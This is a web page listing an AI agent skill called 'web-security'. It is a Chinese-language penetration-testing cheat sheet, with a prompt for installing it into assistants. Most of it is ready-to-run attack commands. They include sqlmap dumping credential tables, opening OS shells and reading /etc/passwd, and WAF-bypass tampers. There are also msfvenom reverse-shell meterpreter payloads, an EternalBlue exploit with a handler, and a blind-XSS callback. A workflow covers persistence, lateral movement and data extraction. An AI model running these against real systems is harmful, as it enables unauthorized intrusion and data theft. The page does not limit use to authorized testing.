Menu
Web安全测试工具链 — sqlmap, Nmap, Nikto, XSStrike, ffuf, nuclei, Metasploit
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Baseado na classificação ocupacional SOC
Delegate coding to OpenAI Codex CLI (features, PRs).
Configure, extend, or contribute to Hermes Agent.
Manage multiple remote servers from Hermes via SSH — deploy services, configure firewalls, transfer files, run commands across servers
Clone/create/fork repos; manage remotes, releases.
Parallel data collection from web sources, APIs, and documentation sites
Deploy static sites to GitHub Pages via API — create repo, push, enable Pages, all from CLI
| name | web-security |
| description | Web安全测试工具链 — sqlmap, Nmap, Nikto, XSStrike, ffuf, nuclei, Metasploit |
| version | 1.0.0 |
| author | Hermes Agent |
| license | MIT |
| metadata | {"hermes":{"tags":["web-security","penetration-testing","sql-injection","xss","nmap","reconnaissance","exploitation"]}} |
| 工具 | 用途 |
|---|---|
| Nmap | 端口扫描/服务识别 |
| whatweb | Web指纹识别 |
| wafw00f | WAF检测 |
| subfinder | 子域名枚举 |
| httpx | HTTP探测 |
| theHarvester | 邮箱/子域名/IP收集 |
| 工具 | 用途 |
|---|---|
| Nikto | Web服务器漏洞扫描 |
| nuclei | 模板化漏洞扫描 |
| ZAP | OWASP Web安全扫描器 |
| katana | 新一代Web爬虫 |
| dalfox | XSS扫描器 |
| dnsReaper | DNS子域名接管检测 |
| 工具 | 用途 |
|---|---|
| sqlmap | SQL注入自动化 |
| XSStrike | XSS检测/利用 |
| Commix | 命令注入检测 |
| Metasploit | 渗透测试框架 |
| smuggler | HTTP请求走私检测 |
| Fenjing | SSTI模板注入检测 |
| arjun | HTTP参数发现 |
| 工具 | 用途 |
|---|---|
| ffuf | 快速Web Fuzzer |
| wfuzz | Web应用Fuzzer |
| dirsearch | 目录/文件扫描 |
| gobuster | 目录/DNS暴力枚举 |
| feroxbuster | 递归目录扫描 |
sudo apt install nmap
nmap -T4 -F 192.168.1.1 # 快速扫描常用端口
nmap -p- -T4 192.168.1.1 # 全端口
nmap -sV -sC -p 80,443,22 192.168.1.1 # 服务版本+脚本
nmap -A -T4 192.168.1.1 # 全面扫描
nmap -sU -T4 --top-ports 100 192.168.1.1 # UDP扫描
nmap -sn 192.168.1.0/24 # 主机发现
# 脚本扫描
nmap --script vuln 192.168.1.1
nmap --script=http-enum 192.168.1.1
nmap --script=ssl-heartbleed -p 443 192.168.1.1
nmap --script=smb-vuln* -p 445 192.168.1.1
# 输出
nmap -oA output 192.168.1.1
nmap -oX output.xml 192.168.1.1
sudo apt install sqlmap
# 或最新版 (v1.10):
git clone https://github.com/sqlmapproject/sqlmap.git
# GET参数
sqlmap -u "http://target.com/page?id=1"
# POST请求
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
# Cookie注入
sqlmap -u "http://target.com/page" --cookie="session=abc123"
# 从Burp请求文件
sqlmap -r request.txt
# 注入技术
sqlmap -u "http://target.com/page?id=1" --technique=BEUSTQ
# B=Boolean E=Error U=Union S=Stacked T=Time Q=Inline
sqlmap -u "URL" --dbs # 列数据库
sqlmap -u "URL" -D mydb --tables # 列表
sqlmap -u "URL" -D mydb -T users --columns # 列字段
sqlmap -u "URL" -D mydb -T users --dump # 导出数据
sqlmap -u "URL" -D mydb -T users -C username,password --dump
sqlmap -u "URL" --current-user
sqlmap -u "URL" --current-db
sqlmap -u "URL" --is-dba
# OS Shell (需DBA)
sqlmap -u "URL" --os-shell
# SQL Shell
sqlmap -u "URL" --sql-shell
# 读文件
sqlmap -u "URL" --file-read="/etc/passwd"
# 绕过WAF
sqlmap -u "URL" --tamper=space2comment,between,randomcase
sqlmap -u "URL" --random-agent --delay=1
# 常用tamper
--tamper=space2comment # 空格->注释
--tamper=between # >->BETWEEN
--tamper=charencode # 字符编码
--tamper=randomcase # 随机大小写
--tamper=equaltolike # =->LIKE
# Level/Risk提高
sqlmap -u "URL" --level=5 --risk=3
# 批量扫描
sqlmap -m urls.txt --batch
wget https://github.com/ffuf/ffuf/releases/latest/download/ffuf_2.1.0_linux_amd64.tar.gz
tar xzf ffuf_*.tar.gz && sudo mv ffuf /usr/local/bin/
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt,.js
ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404 # 过滤404
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403 # 匹配
ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 4242 # 过滤大小
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
ffuf -u http://target.com/FUZZ -w wordlist.txt -H "Authorization: Bearer token"
ffuf -u http://target.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080
ffuf -u http://FUZZ.target.com -w subdomains.txt -mc 200,301,302
ffuf -u "http://target.com/page?FUZZ=test" -w params.txt -mc 200
ffuf -u http://target.com/login -X POST -d "FUZZ=admin" -w params.txt
ffuf -u http://target.com/ -w headers.txt -H "FUZZ: 127.0.0.1"
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs 0
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@v3.8.0
nuclei -update-templates
nuclei -u http://target.com # 扫描单目标
nuclei -l urls.txt # 扫描列表
nuclei -u http://target.com -t cves/ # 指定模板
nuclei -u http://target.com -severity critical,high # 严重级别
nuclei -u http://target.com -tags cve,xss,sqli # 标签
nuclei -u http://target.com -as # 自动模板选择
nuclei -u http://target.com -c 25 -rl 100 # 并发控制
nuclei -u http://target.com -o results.txt # 输出
nuclei -t cves/ # CVE漏洞
nuclei -t vulnerabilities/ # 通用漏洞
nuclei -t misconfiguration/ # 配置错误
nuclei -t exposures/ # 信息泄露
nuclei -t default-credentials/ # 默认凭据
nuclei -t http/ # HTTP协议模板
nuclei -t code/ # 代码审计模板
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike && pip install -r requirements.txt
python xsstrike.py -u "http://target.com/page?q=test"
python xsstrike.py -u "http://target.com/search" --data "q=test"
python xsstrike.py -u "http://target.com/page?q=test" --skip
python xsstrike.py -u "http://target.com/page?q=test" --cookie "session=abc"
python xsstrike.py -l urls.txt
git clone https://github.com/commixproject/commix.git
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
python commix.py -u "http://target.com/exec" --data "cmd=whoami"
python commix.py -u "http://target.com/" --cookie "lang=en;id=1"
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --batch
python commix.py -r request.txt
sudo apt install nikto
nikto -h http://target.com
nikto -h target.com -p 8080
nikto -h target.com -ssl -port 443
nikto -h target.com -o report.html -Format html
nikto -h target.com -useproxy http://127.0.0.1:8080
sudo apt install whatweb
whatweb target.com
whatweb -v target.com
whatweb -a 3 target.com
pip install wafw00f
wafw00f target.com
wafw00f target.com -a
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
subfinder -d target.com -silent | httpx -silent
sudo apt install theharvester
theHarvester -d target.com -b google,bing,linkedin
theHarvester -d target.com -b all -l 500
sudo apt install metasploit-framework
sudo msfdb init
msfconsole
# 搜索
msf6> search type:exploit platform:windows
msf6> search eternalblue
# 使用
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set LHOST 192.168.1.1
msf6> run
# 生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -o shell.apk
# Handler
msf6> use exploit/multi/handler
msf6> set payload windows/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.1
msf6> set LPORT 4444
msf6> run
1. 信息收集
├── Nmap端口扫描
├── whatweb指纹识别
├── katana爬虫
├── subfinder子域名枚举
├── wafw00f WAF检测
└── theHarvester邮箱/IP收集
2. 漏洞扫描
├── Nikto Web服务器扫描
├── nuclei模板化扫描
├── ffuf目录爆破
├── arjun参数发现
└── ZAP应用扫描
3. 漏洞利用
├── sqlmap SQL注入
├── dalfox / XSStrike XSS
├── Commix命令注入
├── Fenjing SSTI模板注入
├── smuggler HTTP走私
└── Metasploit漏洞利用
4. 后渗透
├── 权限提升
├── 横向移动
├── 数据提取
└── 持久化
[ ] 端口扫描 (Nmap)
[ ] Web指纹 (whatweb)
[ ] WAF检测 (wafw00f)
[ ] 目录扫描 (ffuf)
[ ] 子域名枚举 (subfinder)
[ ] SQL注入 (sqlmap)
[ ] XSS测试 (XSStrike)
[ ] 命令注入 (Commix)
[ ] 文件上传测试
[ ] 文件包含 (LFI/RFI)
[ ] SSRF测试
[ ] CSRF测试
[ ] IDOR测试
[ ] 认证绕过
[ ] 敏感信息泄露
[ ] 默认凭据
go install github.com/projectdiscovery/katana/cmd/katana@latest
katana -u http://target.com -d 3 -jc # 深度3 + JS解析
katana -u http://target.com -f url -ef png,jpg,gif # 只输出URL,排除图片
katana -u http://target.com -xhr # 只抓XHR请求
go install github.com/hahwul/dalfox/v2@latest
dalfox url "http://target.com/page?q=test" # URL模式
dalfox file urls.txt # 批量扫描
dalfox url "http://target.com/page?q=test" --blind "http://your.xss.ht" # 盲XSS
git clone https://github.com/punk-security/dnsReaper.git && cd dnsReaper
pip install -r requirements.txt
python3 main.py --filename domains.txt # 批量检测
python3 main.py single target.com # 单域名
git clone https://github.com/defparam/smuggler.git && cd smuggler
python3 smuggler.py -u http://target.com
python3 smuggler.py -u http://target.com -q # 安静模式
pip install fenjing
fenjing scan --url "http://target.com/page?name=test"
fenjing crack --url "http://target.com/page" --method POST --data "name=test"
pip install arjun
arjun -u http://target.com/page # GET参数发现
arjun -u http://target.com/page -m POST # POST参数
arjun -u http://target.com/page -m JSON # JSON参数
arjun -u http://target.com/page --wordlist params.txt # 自定义字典